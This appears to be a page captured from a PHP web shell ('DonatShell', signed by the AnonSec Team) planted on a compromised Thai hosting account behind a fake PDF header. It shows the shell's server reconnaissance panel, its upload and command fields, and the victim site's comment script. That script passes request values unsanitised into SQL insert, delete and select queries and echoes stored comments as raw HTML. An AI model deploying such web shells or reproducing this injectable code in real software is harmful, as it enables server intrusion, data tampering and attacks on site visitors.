%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.17.190  /  Your IP : 18.117.114.211
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : bungkla ( 1054)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bungkla/public_html/otops/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bungkla/public_html/otops/otop_comment.php
<?
session_start();
Header("Content-Type: text/html; charset=UTF-8");
$salb_id = $_GET['salb_id'];
if(!isset($salb_id) || empty($salb_id))
{
	die;exit;
}
include("../include/config.php");
include("../include/function.php");
include("../include/config_db.php");			

if($_POST["chk_edit"]==1)
{
	$c_com_text = $_POST['s_com_text'];
	$c_com_name = $_POST['s_com_name'];
	$c_com_email = $_POST['s_com_email'];
	$c_com_item = $_POST['s_com_item'];
	$c_com_text = ($c_com_text);
	$c_com_text = strip_tags($c_com_text);
	// Remove CDATA blocks. ;)
	$c_com_text = preg_replace('#\<\!\[CDATA\[(.*?)\]\]\>#s', '', $c_com_text);
	// Other control characters
	$c_com_text = preg_replace('#(?:[\x00-\x1F\x7F]+|(?:\xC2[\x80-\x9F])+)#', '', $c_com_text);
	$order   = array("\r\n", "\n", "\r");
	$replace = '<br>';
	$c_com_text = str_replace($order, $replace, $c_com_text);
	$c_com_text = str_replace('"', "'", $c_com_text);
	if(($c_com_text != "") && ($c_com_name != ""))
	{
		$sql = "insert into `otop_album_comment` (`id`,`alb_id`,`com_name`,`com_text`,`com_email`,`com_date`,`com_item`) values ('','$salb_id','$c_com_name','$c_com_text','$c_com_email',now(),'$c_com_item')";
		$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !G");
	}
	
}
if($_POST["chk_del"]==1)
{
	if(isset($_SESSION['user']))
	{
		if(isset($_POST['s_ald_id']))
		{
			$c_ald_id = $_POST['s_ald_id'];
			$sql = "delete from `otop_album_comment` where (`id`='$c_ald_id')";
			$dbquery = mysql_query($sql);
		}
	}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
<meta http-equiv="EXPIRES" content="Sun, 1 Jan 2000 12:00:00 GMT">
<meta http-equiv="PRAGMA" content="NO-CACHE">
<link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="captcha/captcha.js"></script>
<!--font-->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Kanit:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap" rel="stylesheet">
<!--font-->
</head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div align="center">
	<div id="svDivAlbums5C">
		<?	
		echo "<div id=\"svDivAlbums5RowC\" align=\"left\" class=\"textblack\">\n";

		$sql = "select * From `otop_album_comment` where (`alb_id`='$salb_id') ";
		$sql .= "Order by `com_date` Desc ";
		
		$item = 0;
		$Per_Page = 5;
		if(!$_GET['Page'])
		{
			$Page=1;
		}else
		{
			$Page = $_GET['Page'];
		}
		$Prev_Page = $Page-1;
		$Next_Page = $Page+1;
		$Page_start = ($Per_Page*$Page)-$Per_Page;
		$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `otop_album_comment` where  (`alb_id`='$salb_id') ";
		$dbquery = mysql_query($sql_2);
		$Num_Rows = mysql_num_rows($dbquery);
		if($Num_Rows>0)
		{
			$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
		}
		mysql_free_result($dbquery);
		unset($dbquery);
		if($Num_Rows<=$Per_Page)
		$Num_Pages =1;
		else if(($Num_Rows % $Per_Page)==0)
		$Num_Pages =($Num_Rows/$Per_Page) ;
		else 
		$Num_Pages =($Num_Rows/$Per_Page) +1;
		$Num_Pages = (int)$Num_Pages;
		if(($Page>$Num_Pages) || ($Page<0))
		print "<center><b>ยังไม่มีข้อมูล<b></center>";
		//print "<center><b>จำนวน $Page มากกว่า $Num_Pages ยังไม่มีข้อความ<b></center>";
		$sql .= "LIMIT $Page_start , $Per_Page";
		//ส่วนแสดงผล
		$result = mysql_query($sql);
		//$item = ($Page-1) * $Per_Page;
		$s_com_item = $Num_Rows+1;

		While($row= mysql_fetch_assoc($result))
		{
			$c_id =  $row["id"];
			$c_com_name = $row["com_name"];
			$c_com_text = $row["com_text"];
			$c_com_date = $row["com_date"];
			$c_com_item = $row["com_item"];
			$c_date = dateThai_MM($c_com_date);
			//echo "".$c_com_item.". ข้อความ : <p style=\"text-align: justify;text-justify: inter-word;\" class=\"textblack\">".$c_com_text." &nbsp;</p>";
			echo "<div align=\"left\" class=\"textblack\">".$c_com_item.". ข้อความ : ".$c_com_text."<br />";
			echo "โดย : ".$c_com_name." ( ".$c_date." )";
			if(isset($_SESSION['user']))
			{
				echo "&nbsp;<img src=\"images/delete.gif\" alt=\"ลบความคิดเห็นนี้\" onclick=\"PageComment($c_id);\" />";
			}
			echo "<br /><hr align=\"left\" width=\"50%\" color=\"#e5e5e5\" noshade size=1 ></div>";
			//$item = $item - 1;
		} //while

		echo "</div>\n";
		echo "<div id=\"svDivAlbumsMore\">\n";

		$PHP_SELF = $_SERVER['PHP_SELF'];
		if($Prev_Page) 
		echo "&nbsp;&nbsp;<a href='$PHP_SELF?Page=1&salb_id=$salb_id' class='linktextblack'><<</a>&nbsp;&nbsp;<a href='$PHP_SELF?Page=$Prev_Page&salb_id=$salb_id' class='linktextblack'><</a>&nbsp;";
		$Show_Page = 10;
		$s1 = $Page - $Show_Page;
		if($s1 <= 0 ){$s1 = 1;}
		$s2 =  $Page + $Show_Page;
		if($s2 > $Num_Pages){$s2 = $Num_Pages;}
		if($s1 == 1 ){
			$s2 = $Show_Page+10;
			if($s2 > $Num_Pages){$s2 = $Num_Pages;}
		}
		if(($s2 == $Num_Pages) &&($s1 != 1)){
			$s1 = $Num_Pages-20;
			if($s1 <= 0 ){$s1 = 1;}
		}

		for($i=$s1; $i<=$s2; $i++)
		{
			if($i != $Page)
			{
				echo "<a href='$PHP_SELF?Page=$i&salb_id=$salb_id' class='linktextblack'>[ $i ]</a>";
			}
			else
			{
				if($Num_Rows > $Per_Page){
					echo "<font class='linktextblack'><b>[ $i ]</b></font>";
				}
			}
		}

		if($Num_Pages>($i-1))
		{
			if($Num_Pages>($i+1))
			{
				$bNum_Pages = $Num_Pages - 1;
				echo "...<a href ='$PHP_SELF?Page=$bNum_Pages&salb_id=$salb_id' class='linktextblack'>[ $bNum_Pages ]</a>";
			}else if($Num_Pages==($i+1))
			{
				$bNum_Pages = $i;
				echo "<a href ='$PHP_SELF?Page=$bNum_Pages&salb_id=$salb_id' class='linktextblack'>[ $bNum_Pages ]</a>";
			}
			echo "<a href ='$PHP_SELF?Page=$Num_Pages&salb_id=$salb_id' class='linktextblack'>[ $Num_Pages ]</a>";
		}

		if($Page!=$Num_Pages)
		echo "&nbsp;<a href ='$PHP_SELF?Page=$Next_Page&salb_id=$salb_id' class='linktextblack'>&nbsp;></a>&nbsp;&nbsp;<a href ='$PHP_SELF?Page=$Num_Pages&salb_id=$salb_id' class='linktextblack'>>></a>";
		echo "&nbsp;</div>\n";
		if(isset($result)){
			mysql_free_result($result );
			unset($result);
		}
		include("../include/close_db.php");

		?>
	</div>
	<div style="left:0px; width:600px; margin-top:20px; border: 1px solid #e5e5e5;"  class="magnifyarea">
		<form method="POST" name="formcomment"  action="otop_comment.php?salb_id=<?=$salb_id;?>" onsubmit="return checkSubmit();">
		  <table width="600" bgcolor="#FFFFFF" class="box-center">
			 <tr>
			   <td height="25" colspan="2" align="center"><font size="3"><b>ร่วมแสดงความคิดเห็น</b></font></td>
			 </tr>
			 <tr>
			   <td width="25%" valign="top" align="right">ความคิดเห็น : </td>
			   <td width="75%" class="red"><textarea name="s_com_text" id="s_com_text" cols="40" rows="5"></textarea>&nbsp;<font color="red">**</font></td>
			 </tr>
			 <tr>
			   <td align="right">โดย : </td>
			   <td><input name="s_com_name" id="s_com_name" type="text" size="40" maxlength="100"/>&nbsp;<font color="red">**</font></td>
			 </tr>
			 <tr>
			   <td align="right">E-mail : </td>
			   <td><input name="s_com_email" id="s_com_email" type="text" size="40" maxlength="100"/></td>
			 </tr>
			 <tr>
			   <td valign="middle" align="right">รหัสยืนยัน : </td>
			   <td><input name="captcha" id="captcha" type="text" size="10" maxlength="6" /></td>
			 </tr>
			  <tr>
			   <td valign="middle" align="right">&nbsp;</td>
			   <td>
				   <iframe src="captcha/php_captcha.php" id="iframe1" frameborder="0"  height="50px" width="110px" style="border: 0px;" scrolling="no" marginheight="5px" marginwidth="0px"></iframe>
					<img src="captcha/reload_icon.png"  marginheight="0px" marginwidth="0px"  onclick="Reload(); refreshCaptcha();" vspace="19"/>
					<input id="cap_code" type="hidden" name="cap_code" value="<?=$_SESSION['captcha_val']?>" />
			   </td>
			 </tr>
			 <tr>
			   <td>&nbsp;</td>
			   <td>
				  <input name="submit" type="submit" value="ส่งความคิดเห็น" />
				  <input name="clear" type="reset" value="ล้างข้อความ" />
				  <input type="hidden" name="chk_edit" id="chk_edit" value="1">
				  <input type="hidden" name="s_com_item" id="s_com_item" value="<?=$s_com_item;?>">
			   </td>
			 </tr>
		  </table>
		</form>
		<form method="POST" name="delcommentform" action="otop_comment.php?salb_id=<?=$salb_id;?>">
			<input type="hidden" name="chk_del" id="chk_del" value="1">
			<input type="hidden" name="s_ald_id" id="s_ald_id">
		</form>
	</div>
</div>
</body>
</html>
<script language="javascript">
function checkSubmit(){
/*########### Captcha Validation Part [ START ] ###############*/			
	if(document.getElementById('cap_code').value != document.getElementById('captcha').value) {
		alert("รหัสยืนยันไม่ถูกต้อง");
		document.getElementById('captcha').focus();
		return false;
	}	
	
	if(document.getElementById('cap_code').value == document.getElementById('captcha').value) {
		/* alert("Success: I have passed captcha validation......") */
	}
/*########### Captcha Validation Part [ END ] ###############*/

	if(document.getElementById('s_com_text').value == "") {
		alert("กรุณาใส่ข้อมูล 'ความคิดเห็น'");
		document.getElementById('s_com_text').focus();
		return false;
	}

	if(document.getElementById('s_com_name').value == "") {
		alert("กรุณาใส่ข้อมูล 'โดย'");
		document.getElementById('s_com_name').focus();
		return false;
	}

	if(document.getElementById('captcha').value == "") {
		alert("กรุณาใส่รหัสยืนยัน");
		document.getElementById('captcha').focus();
		return false;
	}

	var emailf = /^[a-z][a-z_0-9\-\.]+@[a-z_0-9\.\-]+\.[a-z]{2,3}$/i
	function validateEmail(str) {
		return emailf.test(str)
	}
	if(document.getElementById('s_com_email').value != "")
	{
		if(validateEmail(document.getElementById('s_com_email').value)==false)
		{
			alert("Invalid your e-mail");
			document.getElementById('s_com_email').value="";
			document.getElementById('s_com_email').focus();
			return false;
		}
	}
	
}
function PageComment(sid)
{
	document.getElementById('s_ald_id').value=sid;
	document.delcommentform.submit();
}
window.onload = refreshCaptcha;
</script>

Anon7 - 2022
AnonSec Team